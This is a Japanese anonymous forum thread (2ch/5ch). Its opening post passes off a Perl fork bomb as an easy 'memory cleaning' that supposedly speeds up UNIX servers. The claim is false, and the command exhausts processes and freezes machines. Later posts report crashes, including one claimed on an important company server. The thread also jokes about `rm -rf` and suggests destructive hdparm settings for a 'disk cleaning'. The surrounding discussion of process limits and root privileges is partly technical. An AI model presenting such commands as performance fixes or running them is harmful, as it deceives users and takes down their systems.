簡単!メモリクリーニング

1名無しさん@お腹いっぱい。
垢版 |
NGNG
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
NGNG
>>156
しかも、画面の色が赤とか黒とかではなく、
世界で最も愛される色・気持ちを落ち着かせてくれる色である
「青」というのが大きなポイントだね。
NGNG
そう、エラーという不測の自体を
癒しにかえてくれる素敵なWindows
NGNG
最近は謝ってくれるらしいし
NGNG
XPか。
そういや、Gentoo Linux 使ってみたら

su
Password:
su: Authentication failure
申し訳ございません.

陳謝ブームか?
165名無しさん@お腹いっぱい。
垢版 |
NGNG
>>143

神!!!
166
垢版 |
NGNG
>>143
sudoers に、catが登録されてません
NGNG
>>166
suしてくらさい
NGNG
そうっsuか。
169名無しさん@お腹いっぱい。
垢版 |
NGNG
kernel.orgで誰か試したな。ワラタ。
170名無しさん@お腹いっぱい。
垢版 |
NGNG
load averages最高記録はこのスレでよいですか?
171名無しさん@お腹いっぱい。
垢版 |
NGNG
>>170
漏れは300いった。
NGNG
うほっ!けっこうマジメな動作報告スレと化してるじゃん。ワロータ
犬糞馬糞のほかはどうなんよ?
この際、商用ウニ糞での結果の方が重要だろ(とマジメぶってみる
NGNG
こういうのはさ、
「一般ユーザがソシアルハックなしに
そのマシンを動作不能にできるのはバグである」
というような考え方なのかな。
NGNG
バグとは違う様な
NGNG
つーか物言いが極端なヤシだな
NGNG
これをバグというなら、アクセルいきなり床まで踏んで尻を
振ってしまうような車は欠陥車、とかいう話になる。
177173
垢版 |
NGNG
バグってのは極端な言い方だったけど、
そういう考え方をどっかで聞いたことがあったのよ。
「UNIX は性善説のシステム」とかだったかな。
win, mac も同じだが。

ATM が一般ユーザにとめられたらバグという表現になるんだろうけどな。
自由度と堅牢性の両立の問題だな。
NGNG
それはメインフレームとの比較で使われる言葉かと。
あとはMulticsとの比較とか。
確かに性善説ではあるが、利便性とのドレードオフで
使い易く・軽いシステムに成った。
# 最近は肥大化で重ーくなりつつあるが・・・
NGNG
ドレードオフ?
18046
垢版 |
NGNG
>>レスをいただいた皆様。
46です。なんかが、目をはなしているうちに嘘つきよばわりされているので....

P4+RAM512M+スワップ512M に 素の2.4.20(パッチなし) + RedHat7.3由来のユーザランド
で、既に起動していたXのプログラム, Xサーバ自身, デーモン類 もおちていきました。
最終的になにがのこったのかはtopが殺されてからはわからなくなりましたが、
操作ができなくなったため最終的には電源を遮断しました。
NGNG
PCの性能それ激しく劣るけども、ほぼ同等の状態があるので
テストしてみました。

ほんとに落ちるのだろうか、まだ落ちる気配もない。
182181
垢版 |
NGNG
>>180はデーモン何動かしてるんだろ
うちは今、sshdとsamba,apacheえーとあとX(xdm)と、xinetdでtimedとかechoとか諸々。
それとdbskkd-cdbくらいかな。
MMX pentium 200Mhz Mem96MB。
普通に使っててもメモリ不足気味な状態です。
18346
垢版 |
NGNG
>>180
捕捉。
no more processes? がでるまで数分かかりました。10分いかないぐらいでプ
ロセスの欠落が始まりました。no more process なら、それ以上メモリくわな
いと思うのに、なんでそのあとoom-killに見える状況なんだろ、COWの挙動?
電源遮断は40分後です。

NGNG
>>180
1. rootでやったのか?
2. プロセス数制限はあったのか?
NGNG
>>184
root で 全unlimitです。
186名無しさん@お腹いっぱい。
垢版 |
NGNG
会社のサーバーにSSHで繋いでリモートからroot になったあと実行。
OS はRedHatだが、固まった。
結構重要なシステムなので漏れは首だな。
首ですむならまだいいが、損害も出るだろうから
もう終りだ。2chに書いてあったから試してみたなんて
言えるはずが無い。
あああああ。
NGNG
ホームラン級のバカだな。
なんでソラリスでやったとかAIXでやったとか
いう書き込みがないのか、今なら分かるだろ?
NGNG
>>186のメジャー移籍が決定しますた
189名無しさん@お腹いっぱい。
垢版 |
NGNG
>>186
まぁ、冗談だとは思うけど、仮に事実だとして、
君みたいなのに重要なサーバのroot権限与えてるような会社だったら
原因不明でセーフだろ
それに、転職できるチャンスだよ、鯖管は君には向いてないよ。
190名無しさん@お腹いっぱい。
垢版 |
NGNG
プロセステーブル使い果たして落ちるだけだと思うんだが...
普通なら、それ以前にlimitで止められる。
191名無しさん@お腹いっぱい。
垢版 |
NGNG
>>187
スレよく嫁。ネタかもしれんけど一応居たみたいなんだよね・・・
>>190
スレよく嫁。Linux で root だと、できないみたい。というのが現時点での定説。
ただしカーネル2.5系では蘇生可能という説も。
NGNG
思わず スレタイ をよく読んでしまい、( ゚Д゚)? となる漏れであった。
NGNG
>>191
limitは2.4でも出来ますが
194名無しさん@お腹いっぱい。
垢版 |
NGNG
定説です。
NGNG
>>1
# yes > /dev/null

ではダメか?
196名無しさん@お腹いっぱい。
垢版 |
NGNG
>>191
ulimit -u 32; perl ...
でブロックできてるが、これとは違うのか?
--- 2.4.20にて
197名無しさん@お腹いっぱい。
垢版 |
NGNG
>>196
root でやってみてよ!
ダメでしょ!
おちるでしょ!
at Redhat9

kernel になにかパッチとかしたんですか?
NGNG
赤帽は独自にパッチ集めてきて当ててるよ。
むしろ、自前パッチもあたってるな。
NGNG
まぁrootはある意味、神なので
rm -rf * もできるし
limitを超えての操作が出来てもあたりまえなんすかねぇ…(?
NGNG
plan9つかえ
NGNG

Woody kernel-2.4.18 一般ユーザで実行
完全にフリーズ状態で外部からping以外反応無し
焦ってctrl+alt+delete三十回ほど連打したら何とか再起動
これじゃやばいっす
NGNG
plan9使えといっている
NGNG
焦ってctrl+alt+delete三十回ほど連打するヤツがやばいっす
NGNG
三十連打は定説ですYO!
NGNG
おまいら無視しないでください

p l a n 9 を 使 え と 言 っ て る
NGNG
なんすかそれ?
NGNG
死ね>>206
NGNG
・リソース制限かかっていないプロバイダのサーバー
・プロバイダのサーバーのメモリ不足解消CGIと言って公開する厨房
・それを便利でスゲェと思って使う厨房
3つそろったら最強だな。
NGNG
そんなに褒められても困ります
NGNG
連打する意味がわからん。
NGNG
linux では >151 の
/proc/sys/kernel/threads-max
が結論だろ
NGNG
>>205
で、plan9でやった結果はどうだったんだ?
NGNG
しらん。
rootとが神云々とか言ってたから
plan9ひっぱりだしてきただけだ
エーン
NGNG
Unix系のOSにはプロセスが限界を超えるまで増えたら古いプロセスから順にkillするという実装があったような....
NGNG
> プロセスが限界を超える
とりあえずこれ説明してみて
NGNG
ということは、initから殺されるわけですな
217212
垢版 |
NGNG
>>213
つまり、plan9と言ってみたかっただけなのね。
plan9にはUnixのrootのようなすべてをつかさどるrootという概念が存在しないだけで
memoryを自由に使えるような権限のユーザーでやれば結果は同じのような気がするが。
NGNG
>>216
すまそ。
古いではなく使われていないだった。
swap outされてるやつから順にkillされていく。

>>215
表現が悪かったね。
processes poolで確保されている量を越えてprocessが作られることを言いたかったわけだけれど。
NGNG
>>216
それらしい現象をソラリスでみたことがある。
ただしroot じゃなかったが。
NGNG
>>218
それはメモリ(物理+仮想)食いつぶした時の動作じゃないか?
メモリ馬鹿食いするプロセス動かしたらXサーバーがkillされちゃった
みたいな。
NGNG
FreeBSDかNetBSDがランダムにプロセス殺すって記事は見たことあるけど
プロセスの重要度なんてカーネルは知らんからね
222名無しさん@お腹いっぱい。
垢版 |
NGNG
Gentoo(gentoo-sources 2.4.20-r5 参考 ttp://www.gentoo.org/doc/ja/gentoo-kernel.xml)
では一般ユーザではとくに問題なし。
ストレス無くブラジング出来るし、デーモンも死なない。(ちなみにいま実行しながら入力してます)
止めたくなったらrootでログインして(そのままだとfork failed: リソースが一時的に利用できません となるので)
# killall perl
でOK。

ただrootでやったときはデーモン等は死なないものの、ほとんど固まってしまって
さらに終了させようにもどうにもならなくなったので様子を見て電源ボタンをおしました(泣
223
垢版 |
NGNG
訂正です。
>デーモン等は死なないものの、
途中から確認する術が無くなったので、こう言い切るのは無理がありました。
NGNG
なかなか面白いデータの取れるスレですね(w
NGNG
横槍でゴメン。
このスレは、彼も応援してるヨ〜ン。
NGNG
危機管理
NGNG
root で rm -rf / したら全部消えました。は只の大馬鹿者だし
rootで >>1 を動かしたら固まりました、もその仲間ではないか、と。

# sync;sync;sync
NGNG
>>227
rootってWindowsのAdministratorよりも格段に危険なことできるからねぇ。
>>1みたいなことをなぜまずrootでやってしまう人がいるのか理解に苦しむ。
いつもrootでログインして、「俺、ミスしないから大丈夫っすよ」と根拠の無い自身を見せつけている人なのかしらん。
NGNG
>>228
ユーザをrootしか作ってないとか。
友達でLinuxを家のPCに入れてる奴がそうだった。

大学で3年間UNIX使ってたし、
研究室の慣例で1年間、サーバの管理もやってたはずなんだが…
230うひひ
垢版 |
NGNG
>>228-229
でもわかってる香具師はrootでイインジャネーノ?
userにしろrootにしろファイルをパツイチ消しなんて行為は普通しないし
チョイト香ばしいことするときはuserにスイッチするし(うひひ

さすがにモレは素人だから普段はuserで使ってるが
家でも会社でもモレ用のWSには一切passwd入ってねーよ
マンドクセーことはしない
NGNG
>>230
ここは釣れませんよ
232222
垢版 |
NGNG
>>224
データを取るためのスレじゃなかったのでしょうか?(笑
NGNG
>>230
HPユーザ代表つーことで実験結果よろしくw
234うひひ
垢版 |
NGNG
>>233
ペロリっていうのが無いです。どーしようもないでつ
はにゃくメモリクリアしないとスマップもパンクしてしまいそうです
青いヤシでトントンピーとインスツールしたいので緊急に急いでいまつ
おながいしまつ
NGNG
(`-´).oO(酔っぱらってやがる…)
NGNG
>>229
管理者教育をちゃんと受けてないんじゃないのか?

>>230
いや、わかってないからrootではいっちゃうんだろ。

...というのはつられたことになるのか?
NGNG
autologin とか passwd なしは
わかるけど、root で作業というのは違うだろう。
NGNG
>>237
root で日常作業できる人って、きっと「完璧な」バックアップとかしてるんだろうね。

まあ、役割としてadmin な人は別かなぁ、いや、admin の上の人がバックアップ体制
敷いてるのかな ?
NGNG
漏れは試験鯖つーかいつも遊んでる鯖があるからあえてrootでいじってる
業務鯖でrootはちょいとこわいですな
240名無しさん@お腹いっぱい。
垢版 |
NGNG
おれ>>1は知らんけど>>61みたいなやつを会社の実験サーバで耐久テストして
ハングしたことあるよ。solarisのすぱーくなんとかだかU1だか忘れたけど100Mhzくらいの
ボロいやつで。最近のは知らん。

みんな>>1ばっか報告してるんで>>61試して大丈夫か教えてくれよ。

NGNG
おまいがやれ
NGNG
┏━━━━━━━━┓
┃********┃
┃********┃
┃********┃
┃***○●***┃
┃***●○***┃
┃********┃
┃********┃
┃********┃
┗━━━━━━━━┛
243
垢版 |
NGNG
オセロ キタ━━━━━━(゚∀゚)━━━━━━ オヤクソク
NGNG
┏━━━━━━━━┓
┃********┃
┃********┃
┃***●****┃
┃***●●***┃
┃***●○***┃
┃********┃
┃********┃
┃********┃
┗━━━━━━━━┛
NGNG
なんでネタがなくなるとオセロなんだよぉ〜萎
つーかおまいらがんがんデータ取りやがれ
おながいします。
NGNG
取るとどうなるとか、誰か有意にまとめてくれるのかとか、そのへんがわからん。
NGNG
有意?にちゃんで?






プ
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○******○┃
┃○**●***○┃
┃○**●●**○┃
┃○**●○**○┃
┃○******○┃
┃○******○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
>>247は、どんな有意義な事も無意味にしてしまうくらい場が冷める事平気で言う香具師
学校ではいつも独りぼっち
NGNG
有意 != 有意義
251名無しさん@お腹いっぱい。
垢版 |
NGNG
linuxのhdparm(8)を見ると、
Dangerous とか extreme caution
という単語がやたら出てくる。
まあDangerousといってもバクハツするわけじゃないだろうし

こういうのを使って
"簡単!ディスククリーニング" は、できないだろうか。
252名無しさん@お腹いっぱい。
垢版 |
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○******○┃
┃○**●***○┃
┃○**●●**○┃
┃○**●●●*○┃
┃○******○┃
┃○******○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
>>251
マザーが、より速度の高いDMA(66)とかをサポートしていて
HDDがそれをサポートしてない場合に、HDDの限界を越える設定をすると
HDDが逝くかもね。 ためしてないからわからんが、勇者がいればやってくれ。
254名無しさん@お腹いっぱい。
垢版 |
NGNG
Linux 2.4.20-gentoo-r5でユーザー権限にて>>1を試すと、、、

で2秒くらいでマウスがアボーン、その直後からキーボードによる再起動を試みるも
無理。pingを撃ってみようとノートを起動してから撃ってみるとtime out.
しかたなく電源5秒押し。
222さんの報告見て、大丈夫だと思い込んでいたのでちょっとSHOCK!
NGNG
制限加えてない状態でやると、そうなるだろうねぇ。
NGNG
ユーザ権限で、しかも>>1じゃならんよ。
gentooのpatchがダメなんじゃないの?
NGNG
gentooはとんがったもん沢山あててるからなぁ
どれかにマズい不具合がまじってるかもね。
NGNG
むしろ、そのノートPCがあやしいかもしれん。
NGNG
>254
会社にある6台のLinuxマシンで試したらほぼ同様の結果。
サーバ運用中のマシンでやるなよ
NGNG
定量的な考察ができない連中ばかりいるのはこのスレですか?
レスを投稿する

5ちゃんねるの広告が気に入らない場合は、こちらをクリックしてください。

ニューススポーツなんでも実況